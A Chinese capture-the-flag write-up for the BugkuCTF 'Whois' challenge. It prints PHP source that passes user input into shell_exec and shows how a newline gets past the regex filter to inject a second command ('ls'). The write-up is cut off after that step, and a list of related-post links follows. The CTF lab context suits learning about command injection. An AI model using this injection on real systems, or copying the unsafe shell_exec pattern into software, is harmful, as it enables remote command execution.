【BugkuCTF】Whois

直接访问http://49.232.142.230:15900/query.php

会直接爆出源码

复制代码
<?php

error_reporting(0);

$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";


if (isset($_GET['query']) && isset($_GET['host']) && 
      is_string($_GET['query']) && is_string($_GET['host'])) {

  $query = $_GET['query'];
  $host = $_GET['host'];
  
  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
    $output = "Invalid query or whois host";
  } else {
    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
  }

} 
else {
  highlight_file(__FILE__);
  exit;
}

?>

<!DOCTYPE html>
<html>
  <head>
    <title>Whois</title>
  </head>
  <body>
    <pre><?= htmlspecialchars($output) ?></pre>
  </body>
</html>

具体执行的命令大概如下所示

复制代码
/usr/bin/whois -h whois.verisign-grs.com baidu.com

但是这里需要绕正则,通过正则可知我们无法使用常规的方法来拼接命令

复制代码
# host参数只能由0-9、a-z、A-Z、.(点)、-(减号)以及\n或者\r 组成
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
# query参数只能由0-9、a-z、A-Z、.(点)、 (空格)以及\n或者\r组成
$query_regex = "/^[0-9a-zA-Z\. ]+$/";

可以看到**\n换行符** 和**\r回车符**是可以用的

这里回车符不行,但是换行符可以

这样子后端的命令就变成了

复制代码
/usr/bin/whois -h whois.verisign-grs.com
ls
相关推荐
lcreek8 小时前
SQL 注入实战:DVWA Medium完整测试指南
网络安全·sql注入
持敬chijing12 小时前
Web渗透之SQL注入-二次注入(Second-Order SQL Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
laoli_coding14 小时前
数据机密性保护算法汇总(国际算法)
安全·网络安全·密码学
X7x515 小时前
零信任架构:重塑数字时代安全边界的战略转型
网络安全·网络攻击模型·安全威胁分析·安全架构·零信任架构
锐速网络16 小时前
CDN加速服务怎么选?主流CDN加速平台横向对比(2026实战版)
网络安全·网络加速·高防cdn·cdn选型·cdn对比·企业级cdn
超级无敌zhq18 小时前
内网横向移动实战:从单点攻破到域控沦陷
网络·安全·web安全·网络安全
lcreek18 小时前
SQL 注入实战:DVWA LOW完整测试指南
网络安全·sql注入
Whoami!19 小时前
05-【园区】SDN+VXLAN 私有云安全防护架构
网络安全·架构·sdn·拓扑图
酉鬼女又兒21 小时前
零基础入门虚拟局域网VLAN:从广播域问题根源到802.1q帧格式、三大端口类型及实战例题全解析
网络·网络协议·计算机网络·网络安全·职场和发展·智能路由器·求职招聘
pencek21 小时前
HakcMyVM-driftingblues3
网络安全